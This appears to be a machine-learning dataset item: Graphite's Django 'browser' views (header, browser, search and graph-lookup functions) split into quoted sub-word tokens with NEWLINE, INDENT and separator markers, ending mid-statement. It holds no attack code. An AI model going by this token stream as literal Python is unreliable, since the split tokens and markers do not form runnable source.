";", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "\\", "10", ";", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",", "\\", "10", ";", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", ".", "\\", "10", ";", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and", "\\", "10", ";", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "render", "\\u", "to", "\\u", "response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "http_", "import_", "Http", "Response_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "graphite", "_", "._", "account_", "._", "models_", "import_", "Profile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "graphite", "_", "._", "util_", "import_", "get", "Profile_", ",_", "get", "Profil", "e", "By", "Username_", ",_", "default", "User_", ",_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "graphite", "_", "._", "logger_", "import_", "log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "c", "Pickle_", "as_", "pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "header_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "View", " ", "for", " ", "the", " ", "header", " ", "frame", " ", "of", " ", "the", " ", "browse", "r", " ", "UI", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "[_", "'", "user", "'_", "]_", "=_", "request_", "._", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "[_", "'", "profile", "'_", "]_", "=_", "get", "Profile_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "[_", "'", "documentation", "\\u", "url", "'_", "]_", "=_", "settings_", "._", "DOCUMENT", "ATION", "\\u", "URL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "[_", "'", "login", "\\u", "url", "'_", "]_", "=_", "settings_", "._", "LOGIN", "\\u", "URL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "\"", "browse", "r", "Head", "er", ".", "html", "\"_", ",_", "context_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "browser_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "View", " ", "for", " ", "the", " ", "top", "-", "level", " ", "frame", " ", "of", " ", "the", " ", "browse", "r", " ", "UI", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "String", "'_", ":_", "request_", "._", "GET_", "._", "urlencode_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "target", "'_", ":_", "request_", "._", "GET_", "._", "get_", "(_", "'", "target", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "context_", "[_", "'", "query", "String", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "[_", "'", "query", "String", "'_", "]_", "=_", "context_", "[_", "'", "query", "String", "'_", "]_", "._", "replace_", "(_", "'#'_", ",_", "'%", "23", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "context_", "[_", "'", "target", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "[_", "'", "target", "'_", "]_", "=_", "context_", "[_", "'", "target", "'_", "]_", "._", "replace_", "(_", "'#'_", ",_", "'%", "23", "'_", ")_", "#", "js", " ", "libs", " ", "terminate", " ", "a", " ", "querystring", " ", "on", " ", "#", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render", "\\u", "to", "\\u", "response_", "(_", "\"", "browse", "r", ".", "html", "\"_", ",_", "context_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "search_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "request_", "._", "POST_", "[_", "'", "query", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Http", "Response_", "(_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "patterns_", "=_", "query_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "regexes_", "=_", "[_", "re_", "._", "compile_", "(_", "p_", ",_", "re_", "._", "I_", ")_", "for_", "p_", "in_", "patterns_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "matches_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "regex_", "in_", "regexes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "regex_", "._", "search_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "index", "\\u", "file_", "=_", "open_", "(_", "settings_", "._", "INDE", "X", "\\u", "FILE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "index", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "matches_", "(_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "results_", "._", "append_", "(_", "line_", "._", "strip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "results_", ")_", ">=_", "100_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "index", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "string_", "=_", "','_", "._", "join_", "(_", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "result", "\\u", "string_", ",_", "mimetype_", "=_", "'", "text", "/", "plain", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "my", "Graph", "Lookup_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "View", " ", "for", " ", "My", " ", "Graph", "s", " ", "navigation", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "profile_", "=_", "get", "Profile_", "(_", "request_", ",_", "allow", "Default_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "profile_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nodes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "leaf", "Node_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "allow", "Chil", "dre", "n", "'_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "expand", "able", "'_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "leaf", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "branch", "Node_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "allow", "Chil", "dre", "n", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "expand", "able", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "leaf", "'_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path_", "=_", "str_", "(_", "request_", "._", "GET_", "[_", "'", "path", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "path_", "._", "endswith_", "(_", "'.'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "userp", "ath", "\\u", "prefix_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "userp", "ath", "\\u", "prefix_", "=_", "path_", "+_", "'.'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "userp", "ath", "\\u", "prefix_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "matches_", "=_", "[_", "graph_", "for_", "graph_", "in_", "profile_", "._", "myg", "raph", "\\u", "set_", "._", "all_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", "if_", "graph_", "._", "name_", "._", "startswith_", "(_", "userp", "ath", "\\u", "prefix_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "my", "Graph", "Look", "up", ":", " ", "user", "name", "=", "%", "s", ",", " ", "path", "=", "%", "s", ",", " ", "userp", "ath", "\\u", "prefix", "=", "%", "s", ",", " ", "%", "ld", " ", "graph", " ", "to", " ", "process", "\"_", "%_", "(_", "profile_", "._", "user_", "._", "username_", ",_", "path_", ",_", "userp", "ath", "\\u", "prefix_", ",_", "len_", "(_", "matches_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "branch", "\\u", "inserted", "_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "leaf", "\\u", "inserted", "_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "graph_", "in_", "matches_", ":_", "#", "No", "w", " ", "let", "'", "s", " ", "add", " ", "the", " ", "matchi", "ng", " ", "graph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "Branch_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dot", "Pos_", "=_", "graph_", "._", "name_", "._", "find_", "(_", "'.'_", ",_", "len_", "(_", "userp", "ath", "\\u", "prefix_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "dot", "Pos_", ">=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "Branch_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "graph_", "._", "name_", "[_", "len_", "(_", "userp", "ath", "\\u", "prefix_", ")_", ":_", "dot", "Pos_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "in_", "branch", "\\u", "inserted", "_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "branch", "\\u", "inserted", "_", "._", "add_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "graph_", "._", "name_", "[_", "len_", "(_", "userp", "ath", "\\u", "prefix_", ")_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "in_", "leaf", "\\u", "inserted", "_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "leaf", "\\u", "inserted", "_", "._", "add_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "node_", "=_", "{_", "'", "text", "'_", ":_", "str_", "(_", "name_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "is", "Branch_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "._", "update_", "(_", "{_", "'", "id", "'_", ":_", "str_", "(_", "userp", "ath", "\\u", "prefix_", "+_", "name_", "+_", "'.'_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "update_", "(_", "branch", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "hashlib_", "._", "md5_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "update_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "md5_", "=_", "m_", "._", "hexdigest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "update_", "(_", "{_", "'", "id", "'_", ":_", "str_", "(_", "userp", "ath", "\\u", "prefix_", "+_", "md5_", ")_", ",_", "'", "graph", "Ur", "l", "'_", ":_", "str_", "(_", "graph_", "._", "url_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "update_", "(_", "leaf", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nodes_", "._", "append_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "exception_", "(_", "\"", "browse", "r", ".", "views", ".", "my", "Graph", "Look", "up", "():", " ", "coul", "d", " ", "not", " ", "complete", " ", "request", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "no", "\\u", "graphs_", "=_", "{_", "'", "text", "'_", ":_", "\"", "No", " ", "saved", " ", "graph", "s", "\"_", ",_", "'", "id", "'_", ":_", "'", "no", "-", "click", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "no", "\\u", "graphs_", "._", "update_", "(_", "leaf", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "._", "append_", "(_", "no", "\\u", "graphs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "json", "\\u", "response_", "(_", "nodes_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "user", "Graph", "Lookup_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"", "View", " ", "for", " ", "User", " ", "Graph", "s", " ", "navigation", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "request_", "._", "GET_", "._", "get_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "request_", "._", "GET_", "[_", "'", "path", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "username_", "=_", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph", "Path_", "=_", "path_", "[_", "len_", "(_", "username_", ")_", "+_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "'.'_", "in_", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "username_", ",_", "graph", "Path_", "=_", "path_", "._", "split_", "(_", "'.'_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "username_", ",_", "graph", "Path_", "=_", "path_", ",_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "nodes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "branch", "Node_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "allow", "Chil", "dre", "n", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "expand", "able", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "leaf", "'_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "leaf", "Node_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "allow", "Chil", "dre", "n", "'_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "expand", "able", "'_", ":_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "leaf", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "username_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "profiles_", "=_", "Profile_", "._", "objects_", "._", "exclude_", "(_", "user_", "=_", "default", "User_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "profile_", "in_", "profiles_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "profile_", "._", "myg", "raph", "\\u", "set_", "._", "count_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "text", "'_", ":_", "str_", "(_", "profile_", "._", "user_", "._", "username_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "str_", "(_", "profile_", "._", "user_", "._", "username_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "node_", "._", "update_", "(_", "branch", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nodes_", "._", "append_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "profile_", "=_", "get", "Profil", "e", "By", "Username_", "(_", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "profile_", ",_", "\"", "No", " ", "profile", " ", "for", " ", "user", "name", " ", "'%", "s", "'\"_", "%_", "username_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "graph", "Path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "graph", "Path_", "._", "rstrip_", "(_", "'.'_", ")_", "+_", "'.'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "matches_", "=_", "[_", "graph_", "for_", "graph_", "in_", "profile_", "._", "myg", "raph", "\\u", "set_", "._", "all_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", "if_", "graph_", "._", "name_", "._", "startswith_", "(_", "prefix_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inserted", "_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "graph_", "in_", "matches_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "relative", "Path_", "=_", "graph_", "._", "name_", "[_", "len_", "(_", "prefix_", ")_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "Name_", "=_", "relative", "Path_", "._", "split_", "(_", "'.'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "node", "Name_", "in_", "inserted", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inserted", "_", "._", "add_", "(_", "node", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'.'_", "in_", "relative", "Path_", ":_", "#", " ", "branch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "text", "'_", ":_", "str_", "(_", "node", "Name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "str_", "(_", "username_", "+_", "'.'_", "+_", "prefix_", "+_", "node", "Name_", "+_", "'.'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "update_", "(_", "branch", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "leaf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "hashlib_", "._", "md5_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "._", "update_", "(_", "node", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "md5_", "=_", "m_", "._", "hexdigest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "node_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "text", "'_", ":_", "str_", "(_", "node", "Name_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "str_", "(_", "username_", "+_", "'.'_", "+_", "prefix_", "+_", "md5_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "graph", "Ur", "l", "'_", ":_", "str_", "(_", "graph_", "._", "url_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node_", "._", "update_", 